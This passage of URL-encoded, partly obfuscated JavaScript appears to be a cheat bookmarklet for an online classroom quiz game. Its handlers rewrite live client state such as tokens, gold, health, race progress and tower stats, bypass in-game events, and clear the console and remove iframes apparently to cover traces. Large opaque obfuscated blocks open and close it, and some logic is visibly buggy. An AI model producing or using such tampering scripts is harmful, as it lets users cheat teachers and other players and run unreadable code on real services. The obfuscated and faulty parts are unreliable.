%3Bfor(var _0x3b0c5a%3D-0xe8%2B0x1823%2B-0x173b%3B_0x34ed88%5B_0x1abc1b(0xe3%2C0xb0%2C0xce%2C0x10c%2C0x153)%5D(_0x3b0c5a%2C_0x398a61%5B_0x4a0252(0x276%2C0x259%2C0x2b6%2C0x275%2C0x22d)%2B%27h%27%5D)%3B_0x3b0c5a%2B%2B)%7Bif(_0x34ed88%5B_0xe2793e(0x129%2C0xfb%2C0x119%2C0xd4%2C0x13c)%5D(_0x34ed88%5B_0x2da3b0(0x367%2C0x349%2C0x337%2C0x336%2C0x32c)%5D%2C_0x34ed88%5B_0x2da3b0(0x3a9%2C0x370%2C0x37f%2C0x392%2C0x3ef)%5D))_0x4cd550%3D_0x4972ae%3Belse%7Bvar _0x567a4e%3D_0x34ed88%5B_0x1abc1b(0x118%2C0xdb%2C0x92%2C0xb7%2C0x97)%5D%5B_0x2da3b0(0x363%2C0x3da%2C0x38f%2C0x3a6%2C0x34c)%5D(%27%7C%27)%2C_0x2df449%3D-0x1*0x101%2B0x250d%2B-0x240c%3Bwhile(!!%5B%5D)%7Bswitch(_0x567a4e%5B_0x2df449%2B%2B%5D)%7Bcase%270%27%3A_0x542916%5B_0x2da3b0(0x371%2C0x401%2C0x345%2C0x3aa%2C0x3e2)%2B_0x2da3b0(0x340%2C0x345%2C0x30b%2C0x341%2C0x311)%5D%3D_0x14ebc%5B_0x1abc1b(0xb4%2C0x71%2C0x9a%2C0x67%2C0xb0)%5D(_0x14ebc)%3Bcontinue%3Bcase%271%27%3Avar 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_0x435aa1%3D_0x3a0916%3Ffunction()%7Bfunction _0x228bd2(_0x445a30%2C_0x57f38c%2C_0xf3bba5%2C_0x303084%2C_0x36472b)%7Breturn _0x2faf2d(_0x445a30-0x1d2%2C_0xf3bba5%2C_0xf3bba5-0xbe%2C_0x36472b- -0x58e%2C_0x36472b-0x1bc)%3B%7Dif(_0x5777ec)%7Bvar _0x646968%3D_0x37cf8d%5B_0x228bd2(-0x5b%2C-0x44%2C0x7%2C-0x86%2C-0x48)%5D(_0x12e767%2Carguments)%3Breturn _0x320301%3Dnull%2C_0x646968%3B%7D%7D%3Afunction()%7B%7D%3Breturn _0x5823cd%3D!%5B%5D%2C_0x435aa1%3B%7D%7D%7Delse%7Bvar _0xe2aefb%3Btry%7B_0xe2aefb%3DkdCVYp%5B_0x2ef224(0xf5%2C0xc9%2C0xa1%2C0xd7%2C0x109)%5D(_0x3b1c1f%2CkdCVYp%5B_0x28be9b(0x445%2C0x3df%2C0x407%2C0x3fa%2C0x41d)%5D(kdCVYp%5B_0x49e901(0x348%2C0x39b%2C0x359%2C0x3b8%2C0x373)%5D(kdCVYp%5B_0x49e901(0x40f%2C0x3d8%2C0x3b8%2C0x3bd%2C0x3ce)%5D%2CkdCVYp%5B_0x2ef224(0x84%2C0x92%2C0x9e%2C0x63%2C0x7a)%5D)%2C%27)%3B%27))()%3B%7Dcatch(_0x431409)%7B_0xe2aefb%3D_0x11c483%3B%7Dreturn _0xe2aefb%3B%7D%7D%7D)%3Bfunction _0x687a(_0x5e05b8%2C_0x2fa7a2)%7Bvar _0x5bc509%3D_0x5bc5()%3Breturn _0x687a%3Dfunction(_0x687ae1%2C_0x5f5d63)%7B_0x687ae1%3D_0x687ae1-(-0x9*-0x452%2B-0x136f%2B0x6*-0x2ff)%3Bvar _0x522c95%3D_0x5bc509%5B_0x687ae1%5D%3Breturn _0x522c95%3B%7D%2C_0x687a(_0x5e05b8%2C_0x2fa7a2)%3B%7Dfunction _0x5bc5()%7Bvar _0x451f61%3D%5B%27apply%27%2C%27MPMRZ%27%2C%271449908LTNPKW%27%2C%27onten%27%2C%27ctLxr%27%2C%27YMMAA%27%2C%27ermin%27%2C%27574cXScWG%27%2C%27ETQuM%27%2C%27-chil%27%2C%27OALUX%27%2C%27ZXbNS%27%2C%27MdvyV%27%2C%27%23app%5Cx20%27%2C%27691206NBmlpA%27%2C%27les__%27%2C%27.styl%27%2C%27bind%27%2C%27oMZOI%27%2C%27jPogU%27%2C%27proto%27%2C%27JPUTi%27%2C%27ainer%27%2C%27vFZpS%27%2C%27tion%27%2C%27%5Cx22retu%27%2C%27FSFpP%27%2C%27YtOPx%27%2C%27ipifN%27%2C%27oEPPu%27%2C%27Selec%27%2C%27const%27%2C%27%7C0%7C4%7C%27%2C%27FxKeo%27%2C%27%5Cx20>%5Cx20di%27%2C%27textC%27%2C%27ts__r%27%2C%27butto%27%2C%27tor%27%2C%27kuQLk%27%2C%27d(3)%5Cx20%27%2C%27BQsWY%27%2C%27bdSOE%27%2C%27warn%27%2C%27AkQvd%27%2C%27lbBlP%27%2C%27vqXnu%27%2C%27iv.ar%27%2C%27AlEdf%27%2C%27icbTT%27%2C%27v%3Anth%27%2C%27>%5Cx20div%27%2C%27QkxEc%27%2C%27nCont%27%2C%27child%27%2C%27JlMzp%27%2C%27al___%27%2C%27bvIqh%27%2C%27UoDcL%27%2C%27MeDOq%27%2C%27rn%5Cx20th%27%2C%276291XdKukJ%27%2C%27ren%27%2C%27UOBLT%27%2C%27dWXqf%27%2C%27%7C5%7C3%7C%27%2C%27ofcli%27%2C%27ryMzJ%27%2C%27PeisT%27%2C%27DeJls%27%2C%27saCdn%27%2C%27-came%27%2C%27error%27%2C%27VPdgU%27%2C%27excep%27%2C%272%7C1%7C4%27%2C%27nrVWE%27%2C%27hXlXm%27%2C%27jSefY%27%2C%27ZKTUE%27%2C%27WkRIP%27%2C%27Case%5Cx20%27%2C%27ing%27%2C%27click%27%2C%27)%2B)%2B)%27%2C%27is%5Cx22)(%27%2C%27tScVz%27%2C%27to__%27%2C%27gqWtF%27%2C%27mFqWk%27%2C%27YErQQ%27%2C%27_owne%27%2C%27ZWaSU%27%2C%27vrylJ%27%2C%27bkyhQ%27%2C%27yjdRf%27%2C%27nflhz%27%2C%27KNqqk%27%2C%27FdnEK%27%2C%27type%27%2C%27X9w-c%27%2C%2713308fDsBsO%27%2C%27910deWYKT%27%2C%27VuwRn%27%2C%27adFmq%27%2C%27M6E-c%27%2C%27es__t%27%2C%27n()%5Cx20%27%2C%27qvUfM%27%2C%27y___1%27%2C%27v%5Cx20>%5Cx20d%27%2C%27info%27%2C%27CNDpz%27%2C%27egula%27%2C%27EuCoo%27%2C%27corre%27%2C%27-b2QX%27%2C%27nstru%27%2C%27jVtep%27%2C%27bXnZy%27%2C%27MgzAK%27%2C%27pxJhn%27%2C%27___1T%27%2C%27ase.s%27%2C%2732104eDFKGe%27%2C%27amelC%27%2C%27HuWJR%27%2C%27HzPnl%27%2C%27__bod%27%2C%27ase%27%2C%27sapdx%27%2C%27WTpcU%27%2C%27tGgaT%27%2C%27retur%27%2C%27OTTpc%27%2C%27eKJFv%27%2C%27searc%27%2C%27sword%27%2C%27EqleI%27%2C%27mZTYV%27%2C%27ructo%27%2C%27tyles%27%2C%27nctio%27%2C%27v.sty%27%2C%27douwK%27%2C%27zAYFs%27%2C%27UVoHL%27%2C%27toStr%27%2C%27___3y%27%2C%27317649prbYqC%27%2C%27PyRji%27%2C%27FFsNn%27%2C%27table%27%2C%27query%27%2C%27RNtGg%27%2C%27n%5Cx20(fu%27%2C%27rBody%27%2C%272LVw-%27%2C%27NXzBk%27%2C%27ctor(%27%2C%27(((.%2B%27%2C%27lengt%27%2C%27FIeZD%27%2C%27YZWTc%27%2C%27lCase%27%2C%27xIoNv%27%2C%27rASbw%27%2C%2763092tpSRVt%27%2C%27lCBnw%27%2C%27dMVDG%27%2C%27camel%27%2C%27owvqL%27%2C%27WMgOR%27%2C%27owRYW%27%2C%27Ckwva%27%2C%27hXkzc%27%2C%27TnCyP%27%2C%27ctPas%27%2C%27log%27%2C%27pVOFW%27%2C%27WUsCl%27%2C%27%7B%7D.co%27%2C%27vgbxu%27%2C%27IJgiM%27%2C%27ZGwxh%27%2C%27Node%27%2C%27xAGgw%27%2C%27oxGnC%27%2C%27split%27%2C%27state%27%2C%27ianRA%27%2C%27lylSl%27%2C%27__pro%27%2C%27KaVWl%27%2C%273%7C5%7C1%27%2C%27nEzOA%27%2C%27vmAVg%27%2C%27sRRoF%27%2C%274220YLvfpr%27%2C%27conso%27%2C%27LEHcT%27%2C%27RIbrg%27%2C%27HDkCV%27%2C%27trace%27%2C%27TxNwp%27%2C%27value%27%5D%3B_0x5bc5%3Dfunction()%7Breturn _0x451f61%3B%7D%3Breturn _0x5bc5()%3B%7D%0A %7D)%0A esp2.addEventListener(%27click%27%2C () %3D> %7B%0A var pass %3D window.prompt("What would you like your password to be%3F")%0A if (tokenz !%3D null %7C%7C tokenz !%3D undefined) %7B%0A hack.stateNode.state.passwordOptions%5B0%5D %3D pass%3B%0A hack.stateNode.state.password %3D pass%3B%0A window.alert(%60Set password to%3A %24%7Bpass%7D%60)%0A %7D%0A %7D)%3B%0A break%3B%0A case "defense"%3A%0A const settokenss %3D document.getElementById("settokens")%0A const sethealth %3D document.getElementById("sethealth")%0A const setround %3D document.getElementById("setround")%0A const maxtowers %3D document.getElementById("maxtowers")%0A const towersany %3D document.getElementById("towersany")%0A settokenss.addEventListener(%27click%27%2C () %3D> %7B%0A var tokenz %3D window.prompt("How many tokens would you like%3F")%3B%0A if (tokenz !%3D null %7C%7C tokenz !%3D undefined %7C%7C tokenz !%3D NaN) %7B%0A hack.stateNode.state.tokens %3D tokenz%0A %7D%0A %7D)%0A sethealth.addEventListener(%27click%27%2C () %3D> %7B%0A var hltt %3D window.prompt("How much health would you like%3F")%3B%0A if (hltt !%3D null %7C%7C hltt !%3D undefined %7C%7C hltt !%3D NaN) %7B%0A hack.stateNode.state.health %3D hltt%0A %7D%0A %7D)%0A setround.addEventListener(%27click%27%2C () %3D> %7B%0A var rnd %3D window.prompt("What round would you like to be on%3F")%3B%0A if (rnd !%3D null %7C%7C rnd !%3D undefined %7C%7C rnd !%3D NaN) %7B%0A hack.stateNode.state.round %3D rnd%0A %7D%0A %7D)%0A maxtowers.addEventListener(%27click%27%2C () %3D> %7B%0A for (i %3D 0%3B i < e.stateNode.towers.length%3B i%2B%2B) %7B%0A e.stateNode.towers%5Bi%5D.damage %3D "9999"%0A e.stateNode.towers%5Bi%5D.range %3D "99999"%0A e.stateNode.towers%5Bi%5D.blastRadius %3D "999"%0A e.stateNode.towers%5Bi%5D.fullCd %3D "0"%0A %7D%0A %7D)%0A towersany.addEventListener(%27click%27%2C () %3D> %7B%0A for (i %3D 0%3B i < 10%3B i%2B%2B) %7B%0A hack.stateNode.tiles%5Bi%5D %3D %5B0%2C 0%2C 0%2C 0%2C 0%2C 0%2C 0%2C 0%2C 0%2C 0%5D%0A %7D%0A window.alert("You can now place Towers on any tile.")%0A %7D)%0A break%3B%0A case "race"%3A%0A const finish %3D document.getElementById("finish")%0A finish.addEventListener(%27click%27%2C () %3D> %7B%0A hack.stateNode.state.progress %3D hack.stateNode.state.goalAmount%3B%0A window.alert("Get one question correct to finish the race.")%0A %7D)%0A break%3B%0A case "kingdom"%3A%0A const esp %3D document.getElementById("esp")%0A const taxes %3D document.getElementById("taxes")%0A const setgold %3D document.getElementById("setgold")%0A const sethappy %3D document.getElementById("sethappy")%0A const setmaterials %3D document.getElementById("setmaterials")%0A const setpeople %3D document.getElementById("setpeople")%0A const max %3D document.getElementById("max")%0A esp.addEventListener(%27click%27%2C () %3D> %7B%0A kingesp()%3B%0A %7D)%0A taxes.addEventListener(%27click%27%2C () %3D> %7B%0A hack.stateNode.taxCounter %3D 9999999%3B%0A window.alert("Disabled the Tax Toucan")%0A %7D)%0A setgold.addEventListener(%27click%27%2C () %3D> %7B%0A var goldz %3D window.prompt("How much gold would you like%3F")%3B%0A if (goldz !%3D null %7C%7C goldz !%3D undefined %7C%7C goldz !%3D NaN) %7B%0A hack.stateNode.state.gold %3D goldz%0A %7D%0A %7D)%0A sethappy.addEventListener(%27click%27%2C () %3D> %7B%0A var happi %3D window.prompt("How much happiness would you like%3F")%3B%0A if (happi !%3D null %7C%7C happi !%3D undefined %7C%7C happi !%3D NaN) %7B%0A hack.stateNode.state.happiness %3D goldz%0A %7D%0A %7D)%0A setmaterials.addEventListener(%27click%27%2C () %3D> %7B%0A var matrs %3D window.prompt("How many materials would you like%3F")%3B%0A if (matrs !%3D null %7C%7C matrs !%3D undefined %7C%7C matrs !%3D NaN) %7B%0A hack.stateNode.state.materials %3D matrs%0A %7D%0A %7D)%0A setpeople.addEventListener(%27click%27%2C () %3D> %7B%0A var pple %3D window.prompt("How many people would you like%3F")%3B%0A if (pple !%3D null %7C%7C pple !%3D undefined %7C%7C pple !%3D NaN) %7B%0A hack.stateNode.state.people %3D pple%0A %7D%0A %7D)%0A max.addEventListener(%27click%27%2C () %3D> %7B%0A hack.stateNode.state.gold %3D 100%3B%0A hack.stateNode.state.people %3D 100%3B%0A hack.stateNode.state.materials %3D 100%3B%0A hack.stateNode.state.happiness %3D 100%3B%0A window.alert("Maxed stats.")%0A %7D)%0A setInterval(() %3D> %7B%0A if (hack.stateNode.state.guest.no.spawn !%3D null) %7B%0A if (hack.stateNode.state.guest.no.spawn %3D "Dragon1") %7B%0A let cf %3D confirm("Toucan detected%2C would you like to bypass it%3F")%0A if (cf) %7B%0A hack.stateNode.state.guest.no.spawn %3D null%3B%0A window.alert("You can say No safely now.")%0A %7D%0A %7D%0A %7D%0A if (hack.stateNode.state.guest.blook %3D%3D "Witch") %7B%0A let cf %3D confirm("Witch detected%2C would you like to set the outcome of yes to gaining riches%3F")%0A if (cf) %7B%0A for (i %3D 0%3B i < hack.stateNode.state.guest.yes.array.length%3B i%2B%2B) %7B%0A hack.stateNode.state.guest.yes.array%5Bi%5D %3D %7B%0A "msg"%3A "Hmmmm... It looks like your future has plenty of riches."%2C%0A "happiness"%3A 10%2C%0A "people"%3A 10%2C%0A "materials"%3A 10%2C%0A "gold"%3A 15%0A %7D%0A %7D%0A window.alert("When you say yes you will gain%3A%5CnHappiness%3A 10%5CnPeople%3A 10%5CnMaterials%3A 10%5CnGold%3A 15")%0A %7D%0A %7D%0A %7D%2C 500)%3B%0A break%3B%0A case "doom"%3A%0A const lowstats %3D document.getElementById("lowstats")%0A const settokens %3D document.getElementById("settokens")%0A const maxstats %3D document.getElementById("maxstats")%0A const infhlt %3D document.getElementById("infhlt")%0A settokens.addEventListener(%27click%27%2C () %3D> %7B%0A let coinhtml %3D document.querySelector(".styles__playerEnergy___G4cGN-camelCase")%0A var coin %3D window.prompt("How many coins would you like%3F")%3B%0A if (coin !%3D null %7C%7C coin !%3D undefined %7C%7C coin !%3D NaN) %7B%0A hack.stateNode.state.coins %3D coin%0A coinhtml.innerText %3D coin%3B%0A coinhtml.innerHTML %3D coin%3B%0A coinhtml.outerText %3D coin%3B%0A coinhtml.outerHTML %3D coin%3B%0A window.alert("Set coins to " %2B coin)%0A %7D%0A %7D)%0A maxstats.addEventListener(%27click%27%2C () %3D> %7B%0A let stat %3D document.querySelectorAll(".styles__innerPower___3tJ6M-camelCase")%3B%0A let nums %3D document.querySelectorAll(".styles__powerBox___2sDuh-camelCase")%3B%0A hack.stateNode.state.myCard.charisma %3D 20%3B%0A hack.stateNode.state.myCard.strength %3D 20%3B%0A hack.stateNode.state.myCard.wisdom %3D 20%3B%0A stat%5B0%5D.style %3D %27background-color%3A rgb(151%2C 15%2C 5)%3B width%3A 100%25%3B%27%0A stat%5B1%5D.style %3D %27background-color%3A rgb(7%2C 21%2C 93)%3B width%3A 100%25%3B%27%0A stat%5B2%5D.style %3D %27background-color%3A rgb(148%2C 12%2C 128)%3B width%3A 100%25%3B%27%0A nums%5B0%5D.innerText %3D hack.stateNode.state.myCard.strength%3B%0A nums%5B1%5D.innerText %3D hack.stateNode.state.myCard.charisma%3B%0A nums%5B2%5D.innerText %3D hack.stateNode.state.myCard.wisdom%3B%0A window.alert("Set max stats.")%0A %7D)%0A lowstats.addEventListener(%27click%27%2C () %3D> %7B%0A hack.stateNode.state.enemyCard.charisma %3D 0%3B%0A hack.stateNode.state.enemyCard.strength %3D 0%3B%0A hack.stateNode.state.enemyCard.wisdom %3D 0%3B%0A window.alert("Set enemy stats to 0")%0A %7D)%0A infhlt.addEventListener(%27click%27%2C () %3D> %7B%0A hack.stateNode.state.myLife %3D 69420%0A window.alert("Set Health to 69420")%0A %7D)%0A break%3B%0A case "factory"%3A%0A const mega %3D document.getElementById("mega")%0A const setcash %3D document.getElementById("setcash")%0A const ng %3D document.getElementById("ng")%0A mega.addEventListener(%27click%27%2C () %3D> %7B%0A let blook %3D hack.stateNode.state.blooks%0A for (i %3D 0%3B i < 10%3B i%2B%2B) %7B%0A blook%5Bi%5D %3D %7B%0A "name"%3A "Mega Bot"%2C%0A "color"%3A "%23d71f27"%2C%0A "class"%3A "🤖"%2C%0A "rarity"%3A "Legendary"%2C%0A "cash"%3A %5B80000%2C 430000%2C 4200000%2C 62000000%2C 1000000000%5D%2C%0A "time"%3A %5B5%2C 5%2C 3%2C 3%2C 3%5D%2C%0A "price"%3A %5B7000000%2C 120000000%2C 1900000000%2C 35000000000%5D%2C%0A "active"%3A false%2C%0A "level"%3A 4%2C%0A "bonus"%3A 5.5%0A %7D%3B%0A %7D%0A %7D)%0A setcash.addEventListener(%27click%27%2C () %3D> %7B%0A hack.stateNode.state.cash %3D window.prompt("How much cash would you like%3F")%0A %7D)%0A ng.addEventListener(%27click%27%2C () %3D> %7B%0A hack.stateNode.state.dance %3D ""%0A hack.stateNode.state.lol %3D ""%0A hack.stateNode.state.joke %3D ""%0A hack.stateNode.state.showTour %3D ""%0A hack.stateNode.state.hazards %3D %5B""%2C ""%2C ""%2C ""%2C ""%5D%0A hack.stateNode.state.glitcherName %3D ""%0A hack.stateNode.state.glitch %3D ""%0A hack.stateNode.state.glitchMsg %3D ""%0A hack.stateNode.state.glitcherBlook %3D ""%0A window.alert("Attempted to remove glitches.")%0A %7D)%0A break%3B%0A case "fishing"%3A%0A const frenzy %3D document.getElementById("frenzy")%0A const setweight %3D document.getElementById("setweight")%0A const setlure %3D document.getElementById("setlure")%0A frenzy.addEventListener(%27click%27%2C () %3D> %7B%0A hack.stateNode.state.isFrenzy %3D true%3B%0A %7D)%0A setweight.addEventListener(%27click%27%2C () %3D> %7B%0A var wght %3D window.prompt("How much weight would you like%3F")%3B%0A if (wght !%3D null %7C%7C wght !%3D undefined %7C%7C wght !%3D NaN) %7B%0A hack.stateNode.state.weight %3D wght%0A %7D%0A %7D)%0A setlure.addEventListener(%27click%27%2C () %3D> %7B%0A var lure %3D window.prompt("How much lure would you like%3F (0-4)")%3B%0A if (lure !%3D null %7C%7C lure !%3D undefined %7C%7C lure !%3D NaN) %7B%0A hack.stateNode.state.lure %3D lure%0A %7D%0A %7D)%0A break%3B%0A case "gold"%3A%0A const setgoldg %3D document.getElementById("setgold")%0A const choiceesp %3D document.getElementById("choiceesp")%0A setgoldg.addEventListener(%27click%27%2C () %3D> %7B%0A var gold %3D window.prompt("How much gold would you like%3F")%3B%0A if (gold !%3D null %7C%7C gold !%3D undefined %7C%7C gold !%3D NaN) %7B%0A hack.stateNode.state.gold %3D gold%0A %7D%0A %7D)%0A choiceesp.addEventListener(%27click%27%2C () %3D> %7B%0A goldesp()%0A %7D)%0A break%3B%0A case "cafe"%3A%0A const setcoinz %3D document.getElementById("setcoins")%0A const infifood %3D document.getElementById("inffood")%0A const stockf %3D document.getElementById("stock")%0A setcoinz.addEventListener(%27click%27%2C () %3D> %7B%0A hack.stateNode.setState(%7B%0A cafeCash%3A Number(parseFloat(prompt(%27How much cash would you like%3F%27)))%0A %7D)%3B%0A var z %3D document.getElementsByTagName("iframe")%0A z%5Bz.length - 1%5D.remove()%0A x.remove()%0A window.console.clear()%0A %7D)%0A infifood.addEventListener(%27click%27%2C () %3D> %7B%0A if (document.location.pathname !%3D "%2Fcafe") return alert("This cheat doesn%27t work in the shop!")%3B%0A hack.stateNode.state.foods.forEach(e %3D> e.stock %3D 99999)%3B%0A hack.stateNode.forceUpdate()%3B%0A var z %3D document.getElementsByTagName("iframe")%0A z%5Bz.length - 1%5D.remove()%0A x.remove()%0A window.console.clear()%0A %7D)%0A break%3B%0A case "dino"%3A%0A const foshackz %3D document.getElementById("foshack")%0A const multifoz %3D document.getElementById("multifos")%0A foshackz.addEventListener(%27click%27%2C () %3D> %7B%0A (function(_0x3140e0%2C_0xadc443)%7Bfunction _0x436139(_0x5d092c%2C_0x606ed8%2C_0x11a08b%2C_0x137b75%2C_0x100bba)%7Breturn _0x3f3d(_0x137b75-0x1f4%2C_0x100bba)%3B%7Dfunction _0x4bd607(_0x3d50eb%2C_0x14f02a%2C_0x4d3668%2C_0x2f5560%2C_0x2911e0)%7Breturn _0x3f3d(_0x14f02a-0xbd%2C_0x2f5560)%3B%7Dfunction _0x2b58b8(_0x3074ff%2C_0x447109%2C_0x21fb9b%2C_0x5bffbc%2C_0x4367bb)%7Breturn _0x3f3d(_0x21fb9b- -0x1be%2C_0x447109)%3B%7Dvar _0x47e786%3D_0x3140e0()%3Bfunction _0x5e2e31(_0xae045%2C_0x41292f%2C_0x252b6f%2C_0x1368d3%2C_0x8691f7)%7Breturn _0x3f3d(_0x41292f- -0x1ea%2C_0x1368d3)%3B%7Dfunction _0x59baf0(_0x42846e%2C_0x329995%2C_0x5619d4%2C_0x4d1e4e%2C_0x231c2d)%7Breturn _0x3f3d(_0x4d1e4e-0x2c2%2C_0x231c2d)%3B%7Dwhile(!!%5B%5D)%7Btry%7Bvar _0x45d072%3DparseInt(_0x436139(0x2c1%2C0x2d5%2C0x31e%2C0x2ff%2C0x2dd))%2F(0x15d%2B0x161*0x18%2B-0x54*0x69)%2BparseInt(_0x2b58b8(-0x57%2C-0x6c%2C-0x50%2C-0x36%2C-0x41))%2F(0x44*0x70%2B-0x5e*0x25%2B0x2f*-0x58)*(parseInt(_0x4bd607(0x215%2C0x214%2C0x1eb%2C0x229%2C0x1d4))%2F(0x2*0x1215%2B-0x101b%2B-0x2*0xa06))%2BparseInt(_0x4bd607(0x1c6%2C0x1e2%2C0x1f6%2C0x1bd%2C0x219))%2F(-0x277%2B0x1dc1%2B-0x1b46*0x1)%2BparseInt(_0x4bd607(0x1c0%2C0x1fe%2C0x1c6%2C0x21e%2C0x234))%2F(0x8*0x47f%2B0x125a%2B-0x364d)%2B-parseInt(_0x5e2e31(-0x72%2C-0xae%2C-0x7e%2C-0x6e%2C-0xb6))%2F(-0x260%2B-0xfd*0x1%2B0x363)*(parseInt(_0x2b58b8(-0x56%2C-0x11%2C-0x4a%2C-0x1e%2C-0x7b))%2F(0x1e12%2B0x13*0x66%2B-0x259d))%2B-parseInt(_0x2b58b8(-0x11%2C-0x59%2C-0x52%2C-0x6b%2C-0x5b))%2F(-0xb34%2B0xc5*0x1f%2B0xc9f*-0x1)%2BparseInt(_0x4bd607(0x1d4%2C0x204%2C0x1d0%2C0x217%2C0x1fd))%2F(-0xd*0xcc%2B0x1916%2B-0x1*0xeb1)*(-parseInt(_0x5e2e31(-0x8b%2C-0x81%2C-0x7a%2C-0x4c%2C-0x49))%2F(0x8db*0x1%2B-0x7*0x1de%2B0x441))%3Bif(_0x45d072%3D%3D%3D_0xadc443)break%3Belse _0x47e786%5B%27push%27%5D(_0x47e786%5B%27shift%27%5D())%3B%7Dcatch(_0x52fdcd)%7B_0x47e786%5B%27push%27%5D(_0x47e786%5B%27shift%27%5D())%3B%7D%7D%7D(_0x81df%2C0xd0de%2B0x22933*-0x4%2B-0x455*-0x2f9))%3Bvar _0x48e593%3D(function()%7Bfunction _0x4ec056(_0x4f5f77%2C_0x23c12e%2C_0x61cfa3%2C_0x5ec5c0%2C_0x56d9b7)%7Breturn _0x3f3d(_0x23c12e-0x18f%2C_0x56d9b7)%3B%7Dvar _0x50d553%3D%7B%7D%3B_0x50d553%5B_0x9126ee(-0x61%2C-0x5b%2C-0x3e%2C-0x50%2C-0x4b)%5D%3Dfunction(_0x47a7b5%2C_0x12374e)%7Breturn _0x47a7b5%3D%3D%3D_0x12374e%3B%7D%2C_0x50d553%5B_0x9126ee(-0xd8%2C-0x76%2C-0xb7%2C-0xea%2C-0xe8)%5D%3D_0x9126ee(-0x7%2C0xc%2C-0x35%2C-0x26%2C0x3)%2C_0x50d553%5B_0x1fe721(0x4c2%2C0x44e%2C0x4b8%2C0x483%2C0x45d)%5D%3D_0x9126ee(-0xda%2C-0xcc%2C-0xa5%2C-0xb0%2C-0x64)%2C_0x50d553%5B_0x9126ee(-0x8c%2C-0x5c%2C-0x90%2C-0x68%2C-0xd0)%5D%3D_0x3c5ace(0x411%2C0x417%2C0x3e8%2C0x40d%2C0x3d6)%3Bfunction _0x1fe721(_0x7af1ae%2C_0x4a1052%2C_0xd96734%2C_0x4aeec8%2C_0x336e18)%7Breturn _0x3f3d(_0x4aeec8-0x365%2C_0x7af1ae)%3B%7D_0x50d553%5B_0x4ec056(0x2d5%2C0x2b3%2C0x285%2C0x27e%2C0x28a)%5D%3Dfunction(_0x38db83%2C_0x1d5283)%7Breturn _0x38db83!%3D%3D_0x1d5283%3B%7D%3Bfunction _0x3c5ace(_0x3645ef%2C_0x5cfaf9%2C_0x14dd31%2C_0x18234d%2C_0x586c03)%7Breturn _0x3f3d(_0x18234d-0x2f8%2C_0x14dd31)%3B%7D_0x50d553%5B_0x1fe721(0x4f3%2C0x4e4%2C0x49f%2C0x4be%2C0x4c4)%5D%3D_0x1fe721(0x474%2C0x4e3%2C0x4d0%2C0x4a9%2C0x47e)%2C_0x50d553%5B_0x1fe721(0x475%2C0x4bb%2C0x471%2C0x4af%2C0x48f)%5D%3D_0x3233bf(0x440%2C0x4a6%2C0x4ac%2C0x471%2C0x471)%3Bfunction _0x3233bf(_0x416faa%2C_0x77c1c%2C_0x59994d%2C_0x24f4ca%2C_0x3c3882)%7Breturn _0x3f3d(_0x24f4ca-0x350%2C_0x59994d)%3B%7Dvar _0x306bef%3D_0x50d553%2C_0x3030e8%3D!!%5B%5D%3Bfunction _0x9126ee(_0x29e65e%2C_0x49af2f%2C_0x15fe54%2C_0x41bade%2C_0x5bc831)%7Breturn _0x3f3d(_0x15fe54- -0x1ab%2C_0x5bc831)%3B%7Dreturn function(_0x164f04%2C_0x363ca9)%7Bfunction _0x220717(_0xc8c70b%2C_0x48d469%2C_0x484349%2C_0x486613%2C_0x2be0e7)%7Breturn _0x1fe721(_0x486613%2C_0x48d469-0xdb%2C_0x484349-0x1bb%2C_0xc8c70b- -0x4fa%2C_0x2be0e7-0x9e)%3B%7Dfunction _0x40d4b5(_0x362a04%2C_0x5f1330%2C_0xecf5%2C_0x320657%2C_0x24c72d)%7Breturn _0x1fe721(_0x320657%2C_0x5f1330-0x1c%2C_0xecf5-0x144%2C_0x5f1330- -0xfc%2C_0x24c72d-0x1ee)%3B%7Dfunction _0x24925e(_0x3daddc%2C_0xd9432c%2C_0x259b45%2C_0x5271bd%2C_0x269f39)%7Breturn _0x4ec056(_0x3daddc-0x79%2C_0x5271bd-0x238%2C_0x259b45-0x69%2C_0x5271bd-0x1df%2C_0x3daddc)%3B%7Dif(_0x306bef%5B_0x24925e(0x52b%2C0x4ab%2C0x4b4%2C0x4eb%2C0x511)%5D(_0x306bef%5B_0x24925e(0x514%2C0x528%2C0x53e%2C0x520%2C0x521)%5D%2C_0x306bef%5B_0x220717(-0x4b%2C-0x71%2C-0x26%2C-0x8a%2C-0x3f)%5D))%7Bvar _0x17565d%3D_0x3030e8%3Ffunction()%7Bfunction _0x476102(_0x31b543%2C_0x2caa8a%2C_0x2a8698%2C_0x16df38%2C_0x314fa0)%7Breturn _0x220717(_0x16df38-0x2bf%2C_0x2caa8a-0x18b%2C_0x2a8698-0x2e%2C_0x2a8698%2C_0x314fa0-0xbc)%3B%7Dfunction _0x175a70(_0x1f9e46%2C_0x29168f%2C_0x14b4cb%2C_0x1bc4ae%2C_0x2875f9)%7Breturn _0x24925e(_0x14b4cb%2C_0x29168f-0xad%2C_0x14b4cb-0x10a%2C_0x1f9e46- -0x645%2C_0x2875f9-0x192)%3B%7Dfunction _0x36733e(_0x11f3c9%2C_0x4ba41c%2C_0x596fa8%2C_0x263b6a%2C_0x2fd4c8)%7Breturn _0x40d4b5(_0x11f3c9-0xd1%2C_0x596fa8- -0x1e3%2C_0x596fa8-0x188%2C_0x4ba41c%2C_0x2fd4c8-0x1de)%3B%7Dfunction _0x37ff39(_0x445bae%2C_0x5a1ff2%2C_0x2ee606%2C_0x5471df%2C_0x2f0900)%7Breturn _0x40d4b5(_0x445bae-0x161%2C_0x2ee606- -0x46a%2C_0x2ee606-0x26%2C_0x5471df%2C_0x2f0900-0x161)%3B%7Dfunction _0x45c9d4(_0x20b4a4%2C_0xf6f9fd%2C_0x6e9ea0%2C_0x242720%2C_0x5caecb)%7Breturn _0x24925e(_0x6e9ea0%2C_0xf6f9fd-0x120%2C_0x6e9ea0-0x48%2C_0x242720- -0x730%2C_0x5caecb-0x147)%3B%7Dif(_0x306bef%5B_0x37ff39(-0x68%2C-0x56%2C-0x94%2C-0x80%2C-0x57)%5D(_0x306bef%5B_0x37ff39(-0x115%2C-0x12a%2C-0x10d%2C-0x12d%2C-0x14b)%5D%2C_0x306bef%5B_0x45c9d4(-0x2a3%2C-0x235%2C-0x267%2C-0x275%2C-0x25f)%5D))%7Bif(_0x363ca9)%7Bif(_0x306bef%5B_0x476102(0x2c0%2C0x260%2C0x26e%2C0x297%2C0x29c)%5D(_0x306bef%5B_0x476102(0x241%2C0x262%2C0x23c%2C0x248%2C0x26b)%5D%2C_0x306bef%5B_0x175a70(-0x163%2C-0x153%2C-0x192%2C-0x15f%2C-0x121)%5D))%7Bif(_0x2dedbe)%7Bvar 